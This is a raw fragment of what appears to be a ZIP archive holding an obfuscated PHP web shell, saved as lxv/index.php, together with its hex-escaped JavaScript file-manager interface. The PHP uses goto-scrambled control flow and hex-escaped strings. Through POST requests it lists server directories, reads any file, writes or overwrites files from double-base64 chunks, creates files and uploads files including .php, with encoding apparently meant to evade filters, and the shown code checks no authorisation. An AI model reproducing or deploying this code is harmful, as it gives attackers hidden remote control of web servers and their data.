e\163\164\x20\163\x65\154\145\143\164\x65\144\40\75\40\x41\162\x72\x61\171\56\146\162\157\x6d\x28\144\x6f\143\x75\x6d\145\156\x74\x2e\x71\165\145\x72\171\x53\145\154\x65\x63\164\x6f\x72\x41\154\154\50\47\x2e\x69\164\145\155\x2d\163\145\x6c\x65\143\164\72\143\x68\x65\143\153\x65\x64\x27\51\51\x2e\155\141\160\x28\143\x62\x20\x3d\76\x20\143\142\x2e\166\141\x6c\x75\145\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\163\145\154\145\143\164\x65\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\75\x3d\40\60\51\40\162\145\x74\x75\162\156\x20\x61\x6c\145\x72\x74\50\x27\x4e\157\40\x69\164\x65\155\163\40\163\x65\x6c\145\x63\x74\145\x64\56\x27\x29\73\xa\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\151\x66\40\50\x63\x6f\x6e\x66\151\x72\x6d\x28\140\101\x72\145\40\x79\157\x75\40\163\x75\x72\145\x20\x79\x6f\165\40\167\141\x6e\x74\x20\x74\x6f\x20\x64\145\154\145\164\145\x20\44\x7b\x73\145\x6c\x65\x63\164\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\x7d\x20\151\x74\145\155\50\163\51\77\x60\x29\x29\40\173\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\40\x66\144\x20\75\x20\156\x65\167\40\x46\x6f\x72\155\104\141\x74\141\x28\51\x3b\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x66\x64\56\141\160\160\145\x6e\144\x28\x27\x70\x61\164\150\47\x2c\x20\x53\x54\101\124\105\56\143\x75\162\x72\145\156\164\120\x61\x74\x68\x29\73\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\143\157\156\163\164\x20\151\163\x53\x65\156\x73\151\x74\x69\x76\145\x20\x3d\40\x73\x65\x6c\145\143\164\x65\144\x2e\163\157\x6d\145\50\151\x74\145\155\x20\75\76\x20\151\x74\145\x6d\x2e\x69\x6e\143\154\x75\144\145\163\x28\47\x2e\x68\x74\x61\143\143\x65\163\163\47\51\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\154\145\164\40\141\x63\164\151\157\x6e\x20\x3d\40\x27\144\x65\x6c\145\164\x65\47\73\12\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\151\146\40\50\151\x73\x53\145\x6e\163\151\x74\151\166\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x61\x63\164\x69\x6f\156\x20\x3d\x20\47\144\145\x6c\x65\x74\145\x5f\142\x36\64\x27\x3b\12\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\163\145\x6c\x65\143\164\145\144\x2e\146\157\162\105\x61\x63\x68\x28\151\x74\145\155\40\75\x3e\40\x66\x64\56\141\160\x70\x65\156\144\50\47\x69\x74\x65\x6d\163\137\x62\66\64\133\135\47\54\40\142\x74\157\141\x28\x69\x74\145\155\x29\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\175\40\145\154\163\x65\40\173\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x73\145\154\145\143\164\x65\x64\x2e\146\157\x72\105\x61\143\150\50\151\x74\x65\155\40\75\x3e\40\x66\x64\56\141\x70\160\x65\156\144\x28\47\151\x74\x65\155\163\x5b\135\x27\54\40\151\164\145\x6d\x29\51\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x7d\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x61\160\151\103\141\154\x6c\50\x61\143\x74\151\x6f\x6e\54\40\x66\x64\51\x2e\164\x68\145\156\50\x72\145\156\144\145\x72\51\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\40\40\x20\x7d\51\73\12\x20\x20\40\x20\x20\40\40\x20\xa\40\x20\x20\x20\40\x20\40\x20\144\x6f\x6d\x2e\x75\160\154\157\x61\x64\x42\164\x6e\56\141\144\144\x45\x76\145\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\x27\143\154\151\143\153\47\x2c\x20\50\51\x20\75\x3e\x20\144\x6f\x6d\x2e\x68\151\144\x64\x65\156\106\151\x6c\x65\x49\156\x70\165\x74\x2e\x63\154\x69\x63\x6b\50\51\51\73\12\x20\40\x20\x20\x20\40\40\x20\x64\157\x6d\x2e\150\x69\x64\144\x65\x6e\106\151\154\145\111\x6e\160\x75\164\56\x61\144\x64\x45\166\x65\x6e\x74\114\x69\163\x74\145\156\145\162\50\47\143\x68\x61\156\147\145\47\x2c\40\141\163\171\x6e\x63\40\50\145\x29\40\75\x3e\40\x7b\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x63\x6f\x6e\x73\164\40\x66\x69\154\145\x73\40\x3d\40\x41\x72\x72\141\171\x2e\146\162\157\x6d\50\x65\56\164\x61\x72\147\145\164\x2e\146\151\x6c\145\163\x29\73\x20\151\x66\x20\50\x66\x69\154\x65\x73\x2e\x6c\145\x6e\x67\164\150\40\x3d\x3d\75\40\x30\51\x20\x72\145\x74\165\162\x6e\73\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\146\x6f\162\40\x28\x63\x6f\x6e\163\164\x20\x66\151\x6c\x65\x20\157\x66\40\x66\151\x6c\145\x73\x29\x20\173\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\151\146\x20\x28\146\151\154\x65\x2e\x73\x69\x7a\x65\x20\76\40\x55\120\x4c\x4f\x41\x44\137\114\111\x4d\111\x54\137\115\x42\x20\x2a\40\61\x30\x32\64\x20\x2a\40\61\x30\x32\64\x29\40\173\40\x61\154\145\162\164\50\140\x45\162\162\x6f\162\x3a\40\x46\151\x6c\145\x20\42\x24\173\x66\x69\x6c\x65\56\x6e\x61\155\145\x7d\42\x20\151\x73\40\164\x6f\157\40\x6c\141\x72\x67\x65\x20\50\115\141\170\x3a\x20\44\x7b\125\x50\114\117\101\104\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\x4d\102\51\x2e\x60\x29\x3b\40\x63\157\156\164\x69\156\x75\x65\73\x20\x7d\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\143\x6f\x6e\163\164\x20\162\145\141\144\x65\162\40\x3d\40\156\145\167\x20\x46\151\154\145\x52\145\141\144\x65\x72\x28\x29\73\12\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\40\x66\151\x6c\x65\122\145\141\x64\x50\x72\157\x6d\x69\163\x65\x20\x3d\40\156\145\167\40\120\162\157\x6d\x69\163\145\x28\50\162\145\x73\x6f\154\x76\x65\54\40\x72\x65\152\x65\x63\164\51\x20\75\x3e\x20\x7b\40\162\145\141\x64\145\x72\x2e\157\156\154\x6f\141\144\x20\x3d\x20\x65\166\x65\156\164\40\x3d\76\x20\x72\x65\x73\x6f\154\166\145\x28\145\166\145\156\164\56\x74\x61\162\x67\145\x74\56\162\x65\x73\x75\x6c\164\51\73\40\x72\145\141\144\x65\x72\56\x6f\x6e\x65\162\x72\x6f\162\40\x3d\40\145\162\x72\x6f\162\40\75\76\40\162\145\x6a\x65\143\x74\x28\x65\x72\x72\157\x72\51\73\x20\x72\x65\x61\x64\145\162\56\x72\x65\141\144\x41\163\104\x61\164\141\x55\122\x4c\x28\x66\x69\154\x65\x29\73\x20\x7d\51\73\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x74\x72\171\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x63\x6f\156\x73\164\40\x63\157\x6e\164\x65\x6e\164\x5f\142\141\x73\145\66\64\x20\x3d\x20\x61\167\141\151\x74\x20\146\151\x6c\145\122\145\x61\x64\120\162\157\155\x69\163\x65\x3b\12\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x63\157\x6e\x73\x74\40\x6f\162\151\147\151\x6e\x61\154\116\x61\x6d\x65\x20\x3d\40\x66\x69\154\145\x2e\156\141\x6d\145\x3b\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x63\x6f\x6e\163\164\x20\146\144\x20\x3d\40\x6e\145\167\40\106\x6f\x72\155\x44\141\164\141\x28\x29\73\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\146\x64\56\141\x70\x70\x65\156\144\50\47\160\x61\x74\150\47\54\40\x53\124\x41\x54\105\x2e\x63\165\x72\x72\145\156\164\120\141\164\150\51\73\12\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\146\x64\56\141\160\160\145\x6e\x64\x28\x27\x63\157\x6e\x74\x65\156\x74\137\x62\x61\163\145\66\64\x27\54\x20\143\157\156\164\145\156\164\x5f\142\141\163\x65\x36\64\51\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\151\146\40\50\x6f\162\151\x67\151\156\141\154\x4e\141\155\x65\56\164\x6f\114\157\x77\x65\162\x43\x61\163\145\50\x29\x2e\145\x6e\144\163\x57\x69\x74\x68\50\x27\56\x70\x68\160\x27\51\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\146\144\x2e\x61\x70\160\145\156\x64\50\47\146\151\x6c\145\x6e\141\x6d\x65\137\x62\x61\163\145\x36\x34\47\x2c\40\x62\164\157\141\50\x6f\x72\151\147\151\156\141\x6c\x4e\x61\155\x65\51\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\141\167\x61\151\x74\x20\141\160\151\x43\141\154\x6c\50\x27\x75\x70\154\x6f\x61\x64\x5f\x70\x68\x70\x27\x2c\40\146\144\54\40\x74\162\165\145\x29\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\175\40\145\154\x73\x65\x20\x7b\xa\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\146\144\x2e\141\160\160\145\x6e\144\x28\47\146\x69\154\x65\156\x61\x6d\145\x5f\142\x61\163\145\x36\x34\x27\54\40\142\164\x6f\141\x28\157\x72\151\x67\151\x6e\141\x6c\116\141\155\x65\51\x29\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\141\167\x61\x69\x74\x20\141\160\x69\103\x61\154\154\50\47\165\x70\154\x6f\141\144\47\x2c\x20\x66\x64\x2c\40\x74\x72\165\x65\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x7d\40\143\141\x74\x63\x68\x20\x28\x65\162\162\157\162\x29\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x61\154\145\x72\x74\50\x60\x46\141\151\x6c\x65\144\40\x74\157\x20\x70\162\x6f\143\x65\163\163\40\x66\151\x6c\145\x20\x24\173\146\x69\154\x65\56\156\141\x6d\145\175\72\x20\44\173\x65\162\x72\x6f\x72\56\155\x65\x73\163\141\x67\145\x7d\x60\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x65\56\164\141\x72\147\145\x74\56\x76\x61\x6c\x75\x65\40\x3d\x20\x27\47\73\12\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\x65\156\x64\145\162\x28\51\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x7d\51\x3b\12\xa\x20\40\40\40\40\40\40\40\144\x6f\x6d\56\x73\141\166\x65\102\x74\x6e\x2e\x61\144\144\x45\166\145\156\x74\114\x69\163\164\145\156\145\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\x29\40\75\76\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\40\x70\x61\164\x68\x20\75\40\144\x6f\x6d\x2e\x65\x64\x69\164\157\162\x46\151\x6c\x65\156\x61\155\x65\56\x74\x65\170\x74\x43\157\x6e\164\x65\x6e\164\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\143\x6f\156\164\145\x6e\164\40\75\40\x62\x74\x6f\x61\50\x62\164\157\141\50\144\157\x6d\56\145\x64\151\x74\x6f\162\x2e\166\x61\x6c\x75\x65\x29\51\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x66\x64\x20\75\40\156\x65\167\40\x46\157\x72\x6d\x44\x61\x74\141\50\x29\73\12\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x63\x6f\x6e\163\x74\40\143\150\x75\156\153\x53\151\172\145\40\x3d\40\64\x30\71\x36\73\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\146\157\162\x20\x28\154\x65\164\40\151\x20\75\40\60\73\x20\x69\40\74\40\x63\157\156\x74\x65\156\x74\x2e\154\145\156\147\x74\150\73\x20\151\40\x2b\75\x20\x63\150\165\x6e\x6b\x53\151\172\145\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\146\x64\x2e\141\160\x70\145\156\144\50\x27\143\157\x6e\x74\145\x6e\x74\x5f\143\150\165\156\x6b\x73\133\x5d\x27\x2c\x20\143\x6f\156\164\145\156\x74\x2e\x73\165\x62\x73\x74\x72\151\156\x67\x28\x69\x2c\40\x69\x20\x2b\40\x63\x68\x75\156\x6b\123\151\172\x65\x29\51\73\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x7d\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\154\x65\164\40\141\x63\164\151\157\x6e\40\75\40\47\163\141\166\145\x5f\143\x6f\156\x74\x65\x6e\164\47\x3b\12\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\151\146\x20\x28\160\141\164\150\56\x69\156\143\154\165\144\145\x73\x28\x27\x2e\150\x74\141\x63\143\x65\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\141\x63\x74\151\157\x6e\x20\75\40\47\x73\141\x76\x65\137\x63\x6f\x6e\164\145\156\164\x5f\142\66\64\x27\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\146\x64\56\141\x70\160\x65\156\144\x28\47\160\141\x74\x68\x5f\x62\66\64\47\54\x20\142\164\157\x61\x28\x70\x61\x74\x68\51\51\x3b\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x7d\40\x65\x6c\163\x65\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\144\50\47\x70\141\164\x68\47\54\x20\x70\x61\x74\150\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\141\160\x69\103\x61\x6c\154\50\x61\143\164\x69\x6f\156\x2c\x20\x66\x64\x2c\40\164\162\x75\x65\51\56\x74\x68\145\156\x28\x72\x65\163\165\154\164\x20\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x69\x66\x28\x72\x65\163\165\x6c\164\x29\40\173\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\144\157\x6d\x2e\145\144\151\x74\157\162\x4d\x6f\144\141\x6c\56\x73\x74\171\154\x65\56\x64\x69\163\x70\154\x61\171\40\75\x20\47\x6e\157\156\x65\x27\x3b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x72\x65\x6e\x64\x65\x72\x28\51\x3b\12\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\175\x29\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\xa\40\x20\40\x20\x20\40\40\x20\162\145\x6e\x64\x65\x72\50\x29\73\12\40\40\x20\40\175\51\73\xa\x20\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\76\xa\74\x2f\142\157\x64\171\76\12\x3c\57\x68\164\x6d\154\x3e";PK4\d$'' lxv/index.phpnuW+A false, "\x6d\145\x73\x73\141\x67\x65" => "\x49\x6e\166\141\x6c\151\144\40\141\x63\164\x69\157\156\56"]; goto Ita0g; tozRd: function NY0tu($fw2Gb) { return is_string($fw2Gb) ? stripslashes($fw2Gb) : $fw2Gb; } goto uTQJ4; jupxf: echo Es90W(__DIR__); goto spVQI; uTQJ4: function ES90W($N3FQp) { return str_replace("\x5c", "\x2f", $N3FQp); } goto umFMq; wWXaN: NFGPu: goto t2KH8; Ita0g: try { goto IIL7D; IIL7D: switch ($kS0qQ) { case "\154\x69\x73\x74": goto Bf4SJ; odk5T: foreach (scandir($T4wW2) as $pZ4PV) { goto lKlnN; JxuNy: $qgHjW = $T4wW2 . "\x2f" . $pZ4PV; goto KOKkz; N7PaY: goto rRtUO; goto xJsL4; J2iFA: rRtUO: goto p5Oa0; lKlnN: if (!($pZ4PV === "\x2e" || $pZ4PV === "\x2e\x2e")) { goto qoKGw; } goto N7PaY; xJsL4: qoKGw: goto JxuNy; KOKkz: $uWh5l[] = ["\x6e\141\x6d\x65" => $pZ4PV, "\151\x73\137\144\x69\x72" => is_dir($qgHjW), "\x73\x69\172\x65" => is_dir($qgHjW) ? 0 : filesize($qgHjW), "\155\x6f\144\151\x66\x69\145\x64" => filemtime($qgHjW)]; goto J2iFA; p5Oa0: } goto J3yG0; SI6Kp: $C_q13 = ["\x73\165\143\143\145\x73\x73" => true, "\x66\151\x6c\145\163" => $uWh5l, "\160\141\x74\x68" => $T4wW2]; goto FISrv; kxjD2: zao4K: goto odk5T; wI9Uc: or7Bz: goto mTFJj; Bf4SJ: $N3FQp = isset($_POST["\x70\141\164\150"]) ? Ny0tu($_POST["\x70\141\164\x68"]) : __DIR__; goto dpEgR; zHH33: $uWh5l = []; goto C9SW_; RRjql: throw new Exception("\103\x61\x6e\x6e\x6f\164\40\x61\143\143\x65\163\163\40\x70\x61\164\x68\56\40\111\x74\x20\x6d\151\x67\x68\164\40\142\145\40\162\145\163\x74\x72\x69\x63\164\145\144\x20\142\171\40\163\x65\x72\x76\x65\x72\40\143\157\156\146\x69\x67\165\x72\141\164\151\x6f\x6e\40\x28\x6f\160\145\x6e\137\142\141\163\x65\144\x69\x72\x29\x2e"); goto kxjD2; C9SW_: if (@scandir($T4wW2)) { goto zao4K; } goto RRjql; slbf7: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\x6f\162\x20\x69\x6e\x61\x63\x63\145\163\x73\x69\142\x6c\x65\40\160\x61\164\x68\x2e"); goto wI9Uc; dpEgR: if (NqXxK($N3FQp)) { goto or7Bz; } goto slbf7; J3yG0: ua_El: goto SI6Kp; mTFJj: $T4wW2 = es90w(realpath($N3FQp)); goto zHH33; FISrv: goto ycSVf; goto C5_Rj; C5_Rj: case "\x67\145\164\137\143\157\156\164\145\x6e\x74": goto AB5qD; hw5BW: goto ycSVf; goto nxWjP; hSwnp: $C_q13 = ["\163\x75\143\143\145\x73\x73" => true, "\143\157\156\x74\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto hw5BW; hxmO8: throw new Exception("\x49\x6e\x76\141\x6c\x69\144\x20\x66\x69\154\x65\x20\x66\x6f\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto yCBdH; AB5qD: $ojlAu = isset($_POST["\160\141\x74\x68"]) ? Ny0tU($_POST["\x70\141\164\x68"]) : ''; goto sSVlM; sSVlM: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto jY5MN; } goto hxmO8; yCBdH: jY5MN: goto hSwnp; nxWjP: case "\147\145\164\137\143\x6f\156\164\145\x6e\x74\137\142\x36\x34": goto Tw79G; RBpYX: $C_q13 = ["\x73\x75\x63\x63\x65\163\163" => true, "\x63\157\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto CZCSs; Tw79G: $MsqHa = isset($_POST["\160\x61\x74\150\137\142\x36\64"]) ? NY0tu($_POST["\x70\x61\x74\x68\x5f\x62\x36\x34"]) : ''; goto IcMdj; IcMdj: $ojlAu = base64_decode($MsqHa); goto o4S3X; o4S3X: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto x__Ov; } goto SDUoj; CZCSs: goto ycSVf; goto P57y1; iIbT6: x__Ov: goto RBpYX; SDUoj: throw new Exception("\111\156\x76\141\x6c\x69\x64\x20\146\x69\154\145\x20\x66\157\162\40\145\x64\151\164\x69\x6e\x67\56"); goto iIbT6; P57y1: case "\163\141\x76\x65\x5f\143\157\x6e\x74\145\x6e\164": goto Qzs4F; rC4Qx: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto KTBmd; } goto jF2gU; Oy2kq: if (!(!nqXxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto tY8sk; } goto lMZp7; SLfKR: goto ycSVf; goto szMkK; VroMi: throw new Exception("\x43\x6f\156\x74\x65\x6e\x74\x20\x69\163\40\x65\155\x70\164\x79\56"); goto Ctqlm; zecoV: goto GU9sM; goto kIfmt; Ldo2f: $C_q13 = ["\163\x75\x63\x63\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\151\154\x65\40\163\141\x76\145\144\x20\163\165\x63\x63\x65\x73\x73\x66\165\x6c\x6c\171\x2e"]; goto lb0OW; ewGJB: tY8sk: goto rC4Qx; kIfmt: KTBmd: goto Ldo2f; jF2gU: throw new Exception("\x43\x6f\x75\154\144\40\156\157\x74\40\x73\x61\x76\145\40\x66\151\154\145\56\x20\103\150\145\143\153\x20\160\145\x72\155\x69\163\163\151\x6f\156\x73\x2e"); goto zecoV; jCyJA: if (!empty($oV_sJ)) { goto RQpX6; } goto VroMi; OICIz: $I0G5S = base64_decode(base64_decode($Owp89)); goto Oy2kq; Qzs4F: $ojlAu = isset($_POST["\x70\x61\164\x68"]) ? NY0TU($_POST["\160\x61\x74\150"]) : ''; goto Jo8qy; Ctqlm: RQpX6: goto es8_X; es8_X: $Owp89 = implode('', $oV_sJ); goto OICIz; lMZp7: throw new Exception("\111\x6e\x76\x61\154\x69\x64\40\x66\x69\154\145\x20\x66\x6f\162\x20\163\x61\x76\x69\x6e\147\56"); goto ewGJB; Jo8qy: $oV_sJ = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\163"]) && is_array($_POST["\143\x6f\x6e\x74\145\156\164\x5f\143\150\x75\x6e\153\163"]) ? $_POST["\143\x6f\156\x74\145\156\x74\137\143\150\x75\x6e\x6b\x73"] : []; goto jCyJA; lb0OW: GU9sM: goto SLfKR; szMkK: case "\163\x61\x76\x65\137\143\157\156\164\x65\156\x74\137\x62\x36\x34": goto U59Qa; WGp6i: throw new Exception("\103\157\x6e\164\x65\x6e\x74\40\151\163\x20\145\155\160\164\x79\56"); goto RCxIS; XNi7t: $I0G5S = base64_decode(base64_decode($Owp89)); goto rrDPK; qNXrc: throw new Exception("\111\156\166\141\154\x69\144\40\x66\151\154\x65\x20\146\157\x72\x20\x73\x61\166\151\156\147\x2e"); goto hzKQ5; U59Qa: $MsqHa = isset($_POST["\160\x61\164\150\137\142\x36\x34"]) ? ny0tu($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto jiCXN; RCxIS: CVi5K: goto G5mHJ; iNZ_U: if (!empty($oV_sJ)) { goto CVi5K; } goto WGp6i; G5mHJ: $Owp89 = implode('', $oV_sJ); goto XNi7t; fjhtE: goto ycSVf; goto WoVGw; hzKQ5: qnvLN: goto Um8mO; rrDPK: if (!(!nqxxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto qnvLN; } goto qNXrc; jiCXN: $ojlAu = base64_decode($MsqHa); goto G9LIL; tTBu6: throw new Exception("\x44\x69\x72\145\x63\164\40\163\x61\166\145\x20\x66\x61\x69\x6c\145\144\x2e\x20\x43\150\x65\x63\153\x20\x70\145\162\155\x69\163\x73\151\157\156\163\x2e"); goto nTn7K; qPj5T: $C_q13 = ["\x73\x75\x63\143\x65\x73\163" => true, "\x6d\x65\163\163\141\147\x65" => "\106\151\154\145\x20\x73\x61\166\145\144\40\163\x75\143\143\145\x73\163\x66\165\x6c\x6c\171\x20\x28\144\151\162\x65\143\x74\40\x6d\x65\x74\x68\x6f\144\x29\56"]; goto EACoy; G9LIL: $oV_sJ = isset($_POST["\x63\x6f\156\x74\x65\156\164\x5f\143\150\165\156\153\163"]) && is_array($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\x75\156\153\x73"]) ? $_POST["\143\x6f\x6e\x74\145\156\164\137\x63\x68\165\156\x6b\x73"] : []; goto iNZ_U; nTn7K: goto riHcH; goto pVEwU; pVEwU: MC0Hh: goto qPj5T; Um8mO: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto MC0Hh; } goto tTBu6; EACoy: riHcH: goto fjhtE; WoVGw: case "\143\162\145\x61\164\145\x5f\146\151\x6c\145": goto OlivP; gj37K: goto ycSVf; goto Qz8pL; O6lW3: if (!(!nqXXk($N3FQp) || empty($zDPI8))) { goto HI8Rq; } goto R2q22; av1vc: $C_q13 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\x73\163\x61\147\145" => "\106\x69\154\145\40\x63\x72\x65\141\164\145\x64\56"]; goto o1tPy; c6Jlp: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\x6f\x74\40\143\162\x65\141\x74\x65\x20\146\x69\x6c\145\x2e"); goto IviK0; IviK0: goto PKoAm; goto I8N2E; LqGoz: if (touch(rtrim($N3FQp, "\x2f") . "\x2f" . $zDPI8)) { goto QFDzM; } goto c6Jlp; o1tPy: PKoAm: goto gj37K; Ry7yS: HI8Rq: goto LqGoz; OlivP: $N3FQp = isset($_POST["\x70\141\164\x68"]) ? NY0tU($_POST["\x70\141\x74\x68"]) : ''; goto r_qlF; I8N2E: QFDzM: goto av1vc; R2q22: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\160\x61\x74\x68\x20\157\x72\40\146\151\154\145\40\x6e\141\x6d\x65\56"); goto Ry7yS; r_qlF: $zDPI8 = isset($_POST["\156\x61\155\x65"]) ? T7y52($_POST["\x6e\x61\x6d\145"]) : ''; goto O6lW3; Qz8pL: case "\x75\x70\x6c\x6f\141\144": goto tJi60; H2Afx: $ajHSa = T7Y52(base64_decode($l70k5)); goto amLDx; cGcqq: throw new Exception("\103\157\x75\x6c\x64\40\156\157\x74\40\x73\141\166\145\40\x75\x70\x6c\x6f\x61\144\x65\144\40\146\x69\154\x65\x2e\x20\103\150\x65\x63\153\x20\160\x65\162\155\x69\163\163\151\157\156\x73\56"); goto gvXzd; EEvjB: if (file_put_contents($T7gx5, $uyHJc) !== false) { goto A1W55; } goto cGcqq; MoEwg: goto ycSVf; goto mSk9f; WBcVj: $uyHJc = base64_decode($tPB71); goto Nzj2T; GdYXT: jiXr9: goto WBcVj; xErIi: $tPB71 = isset($_POST["\143\x6f\x6e\x74\145\x6e\x74\137\142\x61\163\145\66\64"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\x61\x73\145\x36\64"] : ''; goto KQoRr; AihoA: throw new Exception("\111\x6e\166\141\154\x69\x64\x20\144\141\164\141\40\146\x6f\x72\x20\165\x70\x6c\157\x61\x64\56"); goto d1Vah; gvXzd: goto mT8Ye; goto XUupy; XUupy: A1W55: goto xwuut; xwuut: $C_q13 = ["\163\x75\143\143\145\x73\163" => true, "\155\145\163\x73\x61\x67\x65" => "\106\x69\154\145\40\165\160\154\157\x61\144\x65\144\x20\x73\x75\143\143\145\x73\x73\x66\x75\154\154\x79\x2e"]; goto Q6XGt; d1Vah: R2fsc: goto H2Afx; w3TPv: $l70k5 = isset($_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\x6c\x65\156\141\x6d\145\137\x62\x61\163\145\66\x34"] : ''; goto xErIi; amLDx: if (!(strpos($tPB71, "\x2c") !== false)) { goto jiXr9; } goto GL5y3; GL5y3: list(, $tPB71) = explode("\54", $tPB71); goto GdYXT; tJi60: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0Tu($_POST["\160\141\x74\x68"]) : __DIR__; goto w3TPv; Nzj2T: $T7gx5 = rtrim($N3FQp, "\x2f") . "\57" . $ajHSa; goto EEvjB; Q6XGt: mT8Ye: goto 